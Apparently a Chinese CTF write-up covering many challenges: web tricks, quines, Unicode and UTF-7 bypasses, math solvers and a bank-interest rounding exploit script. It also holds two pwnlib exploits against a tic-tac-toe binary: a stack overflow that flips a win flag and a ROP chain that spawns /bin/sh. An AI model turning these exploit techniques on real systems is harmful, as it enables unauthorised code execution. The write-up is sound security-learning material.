本体

归档的题目 repo

1
2
nickname = "littleTT"
token = "708:..."

签到

萌新的 CTF 第一题

不断拖动进度条,发现精度极高,很难正好获得 1 个 flag。尝试发现点击提取之后网址会转到对应的 ?number=0.xxx,于是直接改成 ?number=1 即可得到 flag!

猫咪问答++

  1. 上来的第一题其实是最难的…主要实在懒得一个一个搜索了。不过正确答案只可能是 0~23 中的数字,所以把其他题做完用脚本爆破遍历一遍就可以得到答案是 12

  2. 按照题面搜索可以找到 RFC 1149,在页面中查找 MTU 可以找到答案是 256

The MTU is variable, and paradoxically, generally increases with increased carrier age. A typical MTU is 256 milligrams.

  1. 一通搜索找到软件自由日的活动记录,其中开源游戏的名称是 Teeworlds、有 9 个字母。

  2. 用百度地图,找到全景街景数一下可得 9 个停车位。

  3. 搜索找到 Hackergame 2019 圆满结束的新闻,找到大家一共提交了 17098 个 flag。

2048

这都什么四字梗哇

依稀记得跨年的时候就在玩 2048,现在还在追我(x)那就先上手尝试一遍吧。
马上要完蛋的时候打开 Chrome DevTools 抓个包,发现游戏结束时 html_actuator.js 发了一个请求:

1
2
3
4
5
6
7
8
9
10
var url;
if (won) {
url = "/getflxg?my_favorite_fruit=" + ('b'+'a'+ +'a'+'a').toLowerCase();
} else {
url = "/getflxg?my_favorite_fruit=";
}

let request = new XMLHttpRequest();
request.open('GET', url);
request.responseType = 'text';

把这段看起来应该会报错的 url 放到 console 里,得到 /getflxg?my_favorite_fruit=banana,访问即可得到 flag。
这是什么 js 黑魔法??

一闪而过的 Flag

没有 system("pause") 导致的

直接在文件夹里打开一个 cmd 窗口运行即可看到 flag。

从零开始的记账工具人

很难想象发票要怎么电子化

本质上就是把中文价格转换成小数,于是按照给的账单里的数字逻辑手搓了一个解析器。
然后大家会发现里面完全没有处理一百多块钱的情况,主要是懒得再去处理“壹佰零捌”这样复杂的输入了。扫雷一遍全文发现只有两处这种大额支出,于是开心的自己手动解析完成后硬编码在代码里啦。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import xlrd, xlwt
d = {}
d['零'] = 0
d['壹'] = 1
d['贰'] = 2
d['叁'] = 3
d['肆'] = 4
d['伍'] = 5
d['陆'] = 6
d['柒'] = 7
d['捌'] = 8
d['玖'] = 9

tmp = [108.94, 135.78]

def string2num(v):
n = 0
s = v.find("拾")
if s == 0:
n += 1000
v = v[1:]
elif s == 1:
n += 1000 * d[v[0]]
v = v[2:]

s = v.find("元")
if s == 1:
n += d[v[0]] * 100
v = v[2:]
elif s == 0:
v = v[1:]

s = v.find("角")
if s == 1:
n += d[v[0]] * 10
v = v[2:]

s = v.find("分")
if s >= 1:
n += d[v[s-1]]
v = v[2:]
return n/100

f = 'bills.xlsx'
wb = xlrd.open_workbook(f)
s = wb.sheet_by_index(0)
values = s.col_values(0)[1:]
nums = s.col_values(1)[1:]
l = []
f = xlwt.Workbook()
sheet1 = f.add_sheet('t',cell_overwrite_ok=True)
for v in values:
if "佰" in v:
l.append(tmp.pop(0))
else:
l.append(string2num(v))
#print(v, string2num(v))

a = 0.0
for i in range(len(l)):
sheet1.write(i+1,0,l[i])
a += l[i] * nums[i]
print(a)
f.save("test.xls")

超简单的世界模拟器

图灵完备的浪漫

蝴蝶效应

Wikipedia 上搜到了一个会爆炸的初始状态,于是就在左上角随便挑了几个位置尝试一下,最后得到了左上角位于 (5, 6) 的图形可以满足题目要求:

1
2
3
4
5
6
7
000000000
000000000
000000000
000000000
000000110
000000011
000000010

一石二鸟

之后把这个图像换了不同位置或者放置多个都没能成功消除 2 个目标区域,于是直接暴力随机生成初始的 15 * 15 位置,然后模拟 200 轮后看有没有达成目标。
因为生命游戏里太拥挤的地方反而不利于细胞的扩散,所以我选择每个位置有 1/3 的几率是初始存在的。最后搜索的效率挺高的,大概一两分钟就能找到一个满足要求的初始状态。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import numpy as np

def show(a):
rm, cm = a.shape
for r in range(rm):
for c in range(cm):
print("o" if a[r][c] else ".", end="")
print()
print()

def next(a):
b = np.pad(a,((1, 1),(1, 1)),'constant',constant_values = (0,0))
rm, cm = a.shape
for r in range(rm):
for c in range(cm):
s = np.sum(b[r:r+3, c:c+3]) - a[r][c]
a[r][c] = int((s == 2 and a[r][c]) or s == 3)

while True:
a = np.zeros((50,50), dtype=int)
a[5:7,45:47] = 1
a[25:27,45:47] = 1
while np.sum(a[5:7,45:47]) + np.sum(a[25:27,45:47]) != 0:
a = np.zeros((50,50), dtype=int)
a[5:7,45:47] = 1
a[25:27,45:47] = 1

for r in range(15):
for c in range(15):
a[r][c] = int(np.random.random() < 1/3)

with open(f"life.txt", "w") as f:
for r in range(15):
for c in range(15):
f.write(str(a[r][c]))
f.write("\n")

show(a)
for _ in range(200):
next(a)
show(a)

自复读的复读机

Quine 怎么给我一种函数式编程的感觉

稍微搜索一下可以发现这种可以输出自身的程序叫做 quine,以及一段示例代码:

1
c = 'c = %r; print(c %% c)'; print(c % c)

下面的构造都是在这个的基础上展开的。

反向复读

在示例的基础上加上一个字符串反向的操作就好了。不过这里要注意 python 的 print 会自己添加一个 \n,所以需要加上 end="" 才能真的输出原本的字符串。

1
c='c=%r;print((c%%c)[::-1],end="")';print((c%c)[::-1],end="")

哈希复读

和上面差不多,加上哈希的操作就可以了。这里用到了一个小技巧:; 可以把多行代码压缩在同一行执行。

1
import hashlib;c='import hashlib;c=%r;print(hashlib.sha256((c%%c).encode()).hexdigest(),end="")';print(hashlib.sha256((c%c).encode()).hexdigest(),end="")

233 同学的字符串工具

万恶的 Unicode

字符串大写工具

总结源代码可以发现题目要求输入一个不包含 flag 这四个字母(不考虑大小写),但是经过 upper() 之后会变成 FLAG 的字符串。

搜索一番发现一些连字可以达到一个字符变成两个的效果。进一步查询发现 会被展开为 fl,于是输入 flag 即可得到 flag。

编码转换工具

与上一题类似,这里我们需要输入一个不是 flag 的字符串使得它用 UTF-7 解码之后得到 flag

查询 UTF-7 的 Wikipedia 发现可以用 +- 包裹住一个 base64 编码的块,使得块中的字符串会直接按照 base64 解码。那么将 f 使用 base64 编码即可得到一个合法输入 +AGY-lag

233 同学的 Docker

与 docker 的初次相遇

在提供的 docker hub 链接里寻找一番可以得到镜像的 Image Layers,发现在倒数第三步复制了 /code/ 一整个目录的内容到镜像里,并在倒数第二步试图再删除 /code/flag.txt,所以我们只需要恢复出倒数第二层的文件就能拿到 flag。

再去网上搜索一番发现可以使用 docker save 将整个镜像的内容都存在一个 tar 里。解压找到倒数第二层对应的文件就能在其中找到 flag.txt

从零开始的 HTTP 链接

结束之前的灵光乍现才做出了这道题

小白对于网络通信真的一窍不通,尝试了自己唯一知道的 socketcurl 都没有什么进展,于是都快要把这道题放弃了。

但是结束前一天感觉这道题应该很简单就又在各处尝试了一下,发现在学校的 Linux 服务器上用自带的 curl 竟然能直接访问到端口 0(难道是因为版本太老旧了吗 x)。从返回的结果来看和其他题目的交互界面一样,于是考虑直接访问 ws://202.38.93.111:0/shell 上的 websocket。

再度搜刮了一通之后发现 websocat 可以成功访问上面的端口,之后提交 token 就可以得到 flag 啦!

来自一教的图片

FFT 初体验

根据题面提示对图像二维傅里叶变换 np.fft.fft2 即可得到含有 flag 的图像。

超简陋的 OpenGL 小程序

太美丽了 OpenGL,还是看看远处的 Vulkan 吧家人们

由于我一点都不懂 OpenGL,于是就直接对着提供的两个文件一通乱改,之后发现改动这个 vs 文件好像效果更显著一点。

首先根据变量名猜测 FragPos 是代表 flag 的那个体积的位置,于是开心的尝试直接把坐标反向,得到

1
2
-    FragPos = vec3(-model * vec4(aPos, 1.0));
+ FragPos = vec3(model * vec4(aPos, 1.0));

但是这样得到的图片特别暗,对同学们的视力不太好(x)。有没有什么办法可以让光源也跑到视角的后面来呢?
经过一番调试,我发现改变 aNormal 的定义(?)可以做到这一点。于是我们最后得到

1
2
-layout (location = 0) in vec3 aNormal;
+layout (location = 1) in vec3 aNormal;

生活在博弈树上

年轻人的第一款 pwn

始终热爱大地

阅读源码,发现就是一个简单的 minimax 下井字棋的逻辑,那么我们正常玩是肯定赢不了的。既然是 binary 题,那肯定要用歪门邪道赢下游戏(x)

阅读源码发现存在非常经典的栈溢出:使用 gets 读取输入的时候没有限制长度,所以可以越过 inputs 的 128 长度限制写到栈上其他位置。

1
2
3
4
5
6
7
8
9
10
bool success = false;  // human wins?
char input[128] = {}; // input is large and it will be ok.
// ...
gets(input);
// ...
if (success) {
puts("What? You win! Here is your flag:");
flag_decode();
puts(flag);
}

那么我们的目标就是把 success 的值改为 true,但他们在栈上的分布符合条件吗?把提供的可执行文件拖入 IDA 分析,发现(因为对齐的原因?)successinput 更高的地址位,所以 input 的溢出写入是可以改变 success 的值的,于是就开心的根据栈上分布构造 payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
import pwn
file = "./tictactoe"
session = pwn.process(file)

session = pwn.remote("202.38.93.111", 10141)
session.recvuntil(": ")
session.send("708:\n") # token

session.recvuntil("(0,1): ")
payload = b"(0,1"
payload += b"\x01" * 0x94
session.send(payload + b"\n")
session.interactive()

狗狗银行

薅羊毛嘞

随意尝试一番发现利息的计算居然是四舍五入的:当储蓄卡里有 167 块钱时,每天能得到整整 1 块钱!

于是我们可以上来开一些信用卡和很多张储蓄卡,往每张储蓄卡里存入 167 块钱。之后每天把每张储蓄卡多出来的 1 块钱汇集起来,在解决吃饭问题和还完信用卡利息之后如果能节余就可以无限赚钱啦!实际计算如果开 9 张信用卡每张初始借贷 2099 元,之后开 119 张储蓄卡就可以在 50 天之内积累出 1000 块钱啦。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests

UA = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36"
headers = {}
headers["User-Agent"] = UA
headers["Authorization"] = "Bearer 708:" # token here

def create_credit():
data = {"type": "credit"}
req = requests.post("http://202.38.93.111:10100/api/create", headers=headers, json=data)

def create_debit():
data = {"type": "debit"}
req = requests.post("http://202.38.93.111:10100/api/create", headers=headers, json=data)

def transfer(src, dst, amount):
data = {"src": src, "dst": dst, "amount": amount}
req = requests.post("http://202.38.93.111:10100/api/transfer", headers=headers, json=data)
print("transferred %d: %d -> %d " % (amount, src, dst), end="\r")

def next_day(account):
data = {"account": account}
req = requests.post("http://202.38.93.111:10100/api/eat", headers=headers, json=data)

def init():
for i in range(9):
create_credit() # credit cards from 2 to 10
transfer(i+2, 1, 2099)
print("credit created #%d " % (i+2), end="\r")
for i in range(119):
create_debit()
transfer(1, i+11, 167) # debit cards from 11 to 129
print("debit created #%d " % (i+11), end="\r")
next_day(1)

def day():
for i in range(119):
transfer(i+11, 1, 1)
for i in range(9):
transfer(1, i+2, 10)
next_day(1)

#print("----------Day 1----------")
#init()
for i in range(50):
print("----------Day %d----------" % (i+1))
day()

超基础的数理模拟器

满脑子都是数理基础.jpg

查看网页发现需要做出 400 道定积分的题目。题面用 LaTeX\LaTeX 给出,所以需要自己写一个 parser 去把 LaTeX\LaTeX 的公式转化为 sympy 可以处理的函数并计算定积分。由于本人实在眼瞎没有发现 sympy 内置的 LaTeX\LaTeX parser,所以自己完全从头手搓了一个一模一样的轮子,甚至还有很多情况得不到合理的结果。不过好消息是只要累计答对的题数达到 400 就可以,而提交错误的答案可以刷新公式,所以用我手搓的颤颤巍巍的 parser 挂上半个小时就能拿到 flag 啦(很高效了有没有!)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
import requests
import urllib, time
from func_timeout import func_set_timeout, FunctionTimedOut
import re
from sympy import sin, sinh, cos, cosh, ln, sqrt, N, integrate, sqrt, tan, atan, acos, asin, tanh
from sympy.abc import x, e

UA = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36"
headers = {}
headers["User-Agent"] = UA

def findpairs(l, f, n):
left = 0
right = 0
count = 0
for i in range(f, len(l)):
w = l[i]
if w == "{":
left += 1
elif w == "}":
right += 1
if left == right and left != 0:
count += 1
if count >= n:
return i

def disfrac(s):
a = s.find("{")
b = findpairs(s, a, 1)
u = s[a+1: b]
s = s[b+1:]
a = s.find("{")
b = findpairs(s, a, 1)
l = s[a+1: b]
return u, l

req = ""

def val(s):
if "\\frac" in s:
u, l = disfrac(s)
return float(eval(u) / eval(l))
else:
return eval(s)

@func_set_timeout(5)
def solve_page():
n = 0
while(n < 10):
try:
with open("solid_math_cookie.txt", "r") as f:
cookie = f.read()
headers["Cookie"] = cookie
req = requests.get("http://202.38.93.111:10190/", headers=headers, timeout=2)
headers["Cookie"] = req.headers["Set-Cookie"].split(";")[0]
a = req.text
print(a)
break
except Exception as e:
n += 1
print("ERROR: Error for the %d time, exception type: %s" % (n, e))
time.sleep(5)
if n == 10:
return False
r = re.compile(r'<p>(.*?)</p>')
formula = r.findall(a)[0]

formula = formula[:-8]
c = formula.find("^")
lower = val(formula[8:c-1])
formula = formula[c:]

c = formula.find(" ")
upper = val(formula[2:c-1])
formula = formula[c+1:]

while "\\frac" in formula:
f = formula.find("\\frac")
end = findpairs(formula, f, 2)
s = "{0[0]}/{0[1]}".format(disfrac(formula[f: end+1]))
formula = formula[:f] + s + formula[end+1:]
formula = formula.replace("\\, ", "*")
formula = formula.replace("\\left", "")
formula = formula.replace("\\right", "")
while "arcsin" in formula:
f = formula.find("arcsin")
for i in range(f-1, 0, -1):
w = formula[i]
if w in [" ", "\\"]:
continue
if w in [")", "x"] + [str(_) for _ in range(10)]:
formula = formula[:f] + "*asin" + formula[f+6:]
else:
formula = formula[:f] + "asin" + formula[f+6:]
break
while "arccos" in formula:
f = formula.find("arccos")
for i in range(f-1, 0, -1):
w = formula[i]
if w in [" ", "\\"]:
continue
if w in [")", "x"] + [str(_) for _ in range(10)]:
formula = formula[:f] + "*acos" + formula[f+6:]
else:
formula = formula[:f] + "acos" + formula[f+6:]
break
while "arctan" in formula:
f = formula.find("arctan")
for i in range(f-1, 0, -1):
w = formula[i]
if w in [" ", "\\"]:
continue
if w in [")", "x"] + [str(_) for _ in range(10)]:
formula = formula[:f] + "*atan" + formula[f+6:]
else:
formula = formula[:f] + "atan" + formula[f+6:]
break

while "^" in formula:
f = formula.find("^")
end = findpairs(formula, f, 1)
formula = formula[:f] + "**(" + formula[f+2:end] + ")" + formula[end+1:]

while "\\sqrt" in formula:
f = formula.find("\\sqrt")
end = findpairs(formula, f, 1)
formula = formula[:f] + "sqrt(" + formula[f+6:end] + ")" + formula[end+1:]

while "\\ln" in formula:
f = formula.find("\\ln")
for i in range(f-1, 0, -1):
w = formula[i]
if w == " ":
continue
if w in [")", "x"] + [str(_) for _ in range(10)]:
formula = formula[:f] + "*ln" + formula[f+3:]
else:
formula = formula[:f] + "ln" + formula[f+3:]
break

formula = formula.replace("\\", "")

while "{" in formula:
f = formula.find("{")
end = findpairs(formula, f, 1)
before = ""
after = ""
for i in range(f-1, 0, -1):
w = formula[i]
if w == " ":
continue
if w not in ["+", "-", "*", "/"]:
before = "*"
break
for i in range(end+1, len(formula)):
w = formula[i]
if w == " ":
continue
if w not in ["+", "-", "*", "/"]:
after = "*"
break
formula = formula[:f] + before + formula[f+1:end] + after + formula[end+1:]

formula = formula.replace(" ", "")

print("lower: %.2f upper: %.2f len: %d formula: %s" % (lower, upper, len(formula), formula))
if len(formula) > 35:
return False
try:
res = N(integrate(eval(formula),(x,lower,upper)), 12)
res = round(res, 6)
print("answer:", res)
except Exception as e:
print(e)
return False
data = {"ans":res}
req = requests.post("http://202.38.93.111:10190/submit", headers=headers, data=data)
cookie = req.headers["Set-Cookie"].split(";")[0]
headers["Cookie"] = cookie
t = req.text
t = t[t.find("答案"):]
print(t[:t.find("\n")])
i = t.find("题")
print(t[i-4:i+1])
with open("solid_math_cookie.txt", "w") as f:
f.write(cookie)
return True

solve_page()

永不溢出的计算器

Python,大整数计算的神!

首先计算 010 - 1 就可以得到 n1n - 1 的值,那么为了得到 flag 我们就需要对 nn 进行质因数分解。

观察题面,发现加减乘除和乘方这些运算只需要 nn 的值就可以简单的完成,但开方是什么情况?随机生成一些比较大的完全平方数 x2x^2 发现在开方后的结果 yy 并不是 xx 或者 x (nx)-x\ (n - x)。在这种情况下我们可以得到一组 x2y2modnx^2 \equiv y^2 \mod n,也就是 nx2y2n \mid x^2 - y^2,或者说 n(xy)(x+y)n \mid (x - y)(x + y)。ん?

因为这里 x,y(0,n)x, y \in (0, n),所以他们的和以及差都不可能是 nn 的倍数。但他们的乘积却能被 nn 整除,那么他们必定各包含一个 nn 的因数。用辗转相除法计算 gcd(n,x±y)\gcd(n, x \pm y) 即可得到其中一个因数,之后用标准的 RSA 解密就可以得到 flag 啦。

超安全的代理服务器

是全新的(?) HTTP!

找到 Secret

打开提供的网址,发现提示 “Notice: 我们已经向您 推送(PUSH) 了最新的 Secret ,但是你可能无法直接看到它。” 搜索一番后发现是 HTTP2 协议中新增的特性 PUSH。再搜索一番后发现 python 的 hyper 库可以创建并解析 HTTP2 连接,于是直接读入所有的 PUSH 打印出来即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
import ssl
import hyper

context = ssl._create_unverified_context()
conn = hyper.HTTP20Connection('146.56.228.227', port=443, secure=True, enable_push=True, ssl_context=context)

print(conn.connect())
response = conn.get_response()
for push in conn.get_pushes(): # all pushes promised before response headers
print(push.path)
conn.read()
for push in conn.get_pushes(): # all other pushes
print(push.path)

不经意传输

HG 偶遇 Ob 一串字母协议,拼尽全力无法战胜

解密消息

观察协议发现如果 v=x0v = x_0,那么 k0=0k_0 = 0,所以我们得到的 m0=m0m_0' = m_0,直接返回即可得到 flag1。

未解明

从零开始的火星文生活

编码,我的一生之敌

做这道题的时候我对编码是什么完全没有概念,之前也没有想去了解过我们看到的这些字符都是怎样存储在电脑里的。所以当时完全是在网上找到什么火星文翻译代码就直接搬过来用了,连 encodedecode 是什么操作、有什么区别都一点都不理解。

从下面这段拼凑出来的代码就能看出我思路之混乱…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
with open("gibberish_message.txt", "rb") as f:
a = f.read()
a = a.replace(b"\n", b"").replace(b" ", b"")
print(a)
b = bytes(a.decode("utf8").encode("gbk"))
print(b)
l = []
f = open("g.txt", "w")
if True:
for i in range(len(b)):
if i % 2 == 0:
l.append(((b[i]&3)<<6)+(b[i+1]&0x3f))
print(bytes(l))
#f.write(bytes(l).decode("gbk") + "\n")
#print(bytes(l).decode("gbk"))
print(min(l), max(l), max(l) - min(l))

f.close()

生活在博弈树上

年轻人的第一款 ROP

升上天空

第一次接触 pwn,能搞明白栈溢出已经很不错了,能干掉第二问的 ROP 属实有点幻想了。不过赛后花了点时间从头了解了一遍,也是成功的构建出 get shell 的 payload 了。

如果我们可以通过栈溢出改变某些变量的值,那么再多写入一些内容的话也可以把当前函数帧的返回地址覆盖掉。不过 checksec 发现 NX enabled,所以我们不能直接在栈上写入 bytecode 执行,于是考虑通过 ROP 执行 syscall。因为在 main 返回之后局部变量的地址变得不可靠,所以我们选择先使用全局变量 gets(board) 第二次读入 /bin/sh 字符串,最后再执行 execve(board, 0, 0) 获得 shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import pwn
file = "./tictactoe"

session = pwn.remote("202.38.93.111", 10141)
session.recvuntil(": ")
session.send("708:") # token

pwn.context.clear(arch="amd64")
elf = pwn.ELF(file)
rop = pwn.ROP(elf)
shell = b"/bin//sh"
board = 0x4A8380

session.recvuntil("(0,1): ")
payload = b"(0,1"
payload += b"\x01" * 0x94
rop.call("gets", [board])
rop.execve(board, 0, 0)
payload += rop.chain()
print(rop.dump())

payload += b"\n"
payload += shell
payload += b"\n"
session.send(payload)
session.interactive()

来自未来的信笺

zbar 你动一下啊

根据题目提示发现提供的图片使用了 GitHub Archive Program 的方法将一个 repo 用二维码的形式保存了下来。那么我们只需要把二维码上的 raw data 一张一张读出来拼成一个文件就可以了…吗?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import cv2, zbar
import os

path ='.'

def get_filelist(dir):
Filelist = []
for home, dirs, files in os.walk(path):
for filename in files:
Filelist.append(filename)
return Filelist

files = get_filelist(path)

with open("out", "wb") as f:
for filename in files:
if not "png" in filename:
continue
img = cv2.imread(filename, 0)
scanner = zbar.Scanner()
results = scanner.scan(img)
f.write(results[0].data)

解压得到的 out 文件可以看到正确的 METACOMMITS,甚至还能看到这样一条 commit: “There’s no flag in META and COMMITS!”。但是查看应该存有数据的 repo.tar.xz,发现怎么完全解压不了啊?…于是就卡在这里了。

之后看官方的 writeup 得知用到的 zbar 库版本没办法正确的解码二进制数据…这谁能想到啊喂!

超精巧的数字论证器

这下能用上刚学的语法分析了…吗?

看到问题的第一反应就是用文法生成合法的表达式,再根据需要填入的数字数量枚举分割来得到所有的结果。但是直到最后我都没有意识到因为存在单目运算符,在题目要求的输入长度内构建的语法树可以非常的深,所以没有思路的爆搜是完全得不到所有的结果的。

而当时还没有学习 CS:APP 的我还没有接触过 ~-x = x + 1 这样的位魔法,于是最终只能非常不情愿的放弃了这道题…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
seg = [[] for _ in range(6)]
seg[0] = [[114514]]
seg[1] = [[11451, 4], [1145, 14], [114, 514], [11, 4514], [1, 14514]]
seg[2] = [[1, 1, 4514], [1, 14, 514], [1, 145, 14], [1, 1451, 4], [11, 4, 514], [11, 45, 14], [11, 451, 4], [114, 5, 14], [114, 51, 4], [1145, 1, 4]]
seg[3] = [[1, 1, 4, 514], [1, 1, 45, 14], [1, 1, 451, 4], [1, 14, 5, 14], [1, 14, 51, 4], [1, 145, 1, 4], [11, 4, 5, 14], [11, 4, 51, 4], [11, 45, 1, 4], [114, 5, 1, 4]]
seg[4] = [[11, 4, 5, 1, 4], [1, 14, 5, 1, 4], [1, 1, 45, 1, 4], [1, 1, 4, 51, 4], [1, 1, 4, 5, 14]]
seg[5] = [[1, 1, 4, 5, 1, 4]]

def printd(d, n):
for i in range(n):
print(i, d[i])

o = "E"
rights = ["(E+E)", "(E-E)", "(E*E)", "(E//E)", "(E%E)", "(E^E)", "(E&E)", "(E|E)"]
singles = ["(-E)", "(~E)"]

A = 5

e = [[] for _ in range(6)]
e[0] = [o]
for j in range(1, A):
tmp = [_ for _ in e[j-1]]
for exp in e[j-1]:
for i in range(len(exp)):
if exp[i] == "E":
for single in singles:
tmp.append(exp[:i] + single + exp[i+1:])
e[j-1] = tmp
for exp in e[j-1]:
for i in range(len(exp)):
if exp[i] == "E":
for right in rights:
e[j].append(exp[:i] + right + exp[i+1:])

print("calculating results")

res = [[] for _ in range(6)]
d = [False for _ in range(114514)]
f = open("log.txt", "w")
for I in range(A):
print(I)
for exp in e[I]:
for perm in seg[I]:
before = 0
r = ""
j = 0
for i in range(len(exp)):
if exp[i] == "E":
r += exp[before:i] + str(perm[j])
j += 1
before = i+1
r += exp[before:]
try:
v = eval(r)
if v >= 0 and not d[v]:
d[v] = True
print(v, r)
f.write(str(v) + " = " + r.replace("//", "/") + "\n")
except:
pass
f.close()